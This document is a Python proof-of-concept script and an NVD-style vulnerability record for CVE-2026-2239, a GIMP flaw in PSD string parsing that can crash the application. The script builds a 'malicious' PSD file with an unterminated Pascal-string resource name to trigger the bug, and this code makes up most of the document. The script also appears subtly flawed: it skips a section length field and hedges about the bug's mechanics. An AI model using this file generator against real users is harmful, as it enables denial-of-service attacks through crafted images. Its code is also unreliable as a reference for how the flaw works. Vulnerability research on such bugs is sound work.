CVE-2026-2239

import struct # PoC for CVE-2026-2239 - GIMP Heap Buffer Overflow # This script generates a malformed PSD file designed to trigger the vulnerability # in the fread_pascal_string function due to lack of null termination. def create_malicious_psd(filename): with open(filename, 'wb') as f: # PSD File Header (Signature '8BPS') f.write(b'8BPS') f.write(struct.pack('>H', 1)) # Version f.write(b'\x00' * 6) # Reserved f.write(struct.pack('>H', 1)) # Channels (RGB) f.write(struct.pack('>I', 1)) # Height f.write(struct.pack('>I', 1)) # Width f.write(struct.pack('>H', 8)) # Depth f.write(struct.pack('>H', 3)) # Mode (RGB) # Color Mode Data Section (Empty) f.write(struct.pack('>I', 0)) # Image Resources Section # We inject a resource with a malformed Pascal string. # The vulnerability occurs when the string length is processed but # the buffer is not null-terminated before strlen() is called. # Resource Block Signature f.write(b'8BIM') # Resource ID (e.g., 1005 for ResolutionInfo) f.write(struct.pack('>H', 1005)) # Malformed Pascal String: Name # Pascal string format: 1 byte length + characters. # If the bug assumes malloc(len) but reads len+1 or fails to add null terminator, # this can trigger the overflow. name_len = 50 f.write(struct.pack('B', name_len)) f.write(b'A' * name_len) # Write data without explicit null terminator in the stream logic # Resource Data Size f.write(struct.pack('>I', 0)) # Layer and Mask Information Section (Empty) f.write(struct.pack('>I', 0)) # Image Data Section (Raw data) f.write(struct.pack('>H', 0)) # Compression (None) f.write(b'\x00' * 3) # 1x1 pixel RGB data if __name__ == "__main__": print("Generating malicious PSD file for CVE-2026-2239...") create_malicious_psd('exploit_CVE-2026-2239.psd') print("File created: exploit_CVE-2026-2239.psd")

{"cve": {"id": "CVE-2026-2239", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:04.483", "lastModified": "2026-04-03T20:12:51.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in GIMP. Heap-buffer-overflow vulnerability exists in the fread_pascal_string function when processing a specially crafted PSD (Photoshop Document) file. This occurs because the buffer allocated for a Pascal string is not properly null-terminated, leading to an out-of-bounds read when strlen() is subsequently called. Successfully exploiting this vulnerability can cause the application to crash, resulting in an application level Denial of Service."}, {"lang": "es", "value": "Se encontró una falla en GIMP. Existe una vulnerabilidad de desbordamiento de búfer de pila en la función fread_pascal_string al procesar un archivo PSD (Photoshop Document) especialmente diseñado. Esto ocurre porque el búfer asignado para una cadena Pascal no está correctamente terminado en nulo, lo que lleva a una lectura fuera de límites cuando se llama posteriormente a strlen(). Explotar con éxito esta vulnerabilidad puede provocar el bloqueo de la aplicación, lo que resulta en una denegación de servicio a nivel de aplicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L", "baseScore": 2.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.3, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-170"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.2.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "2FDE25FB-1089-4611-BC6A-584D06A5E5D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-2239", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2437675", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/gimp/-/issues/15812", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}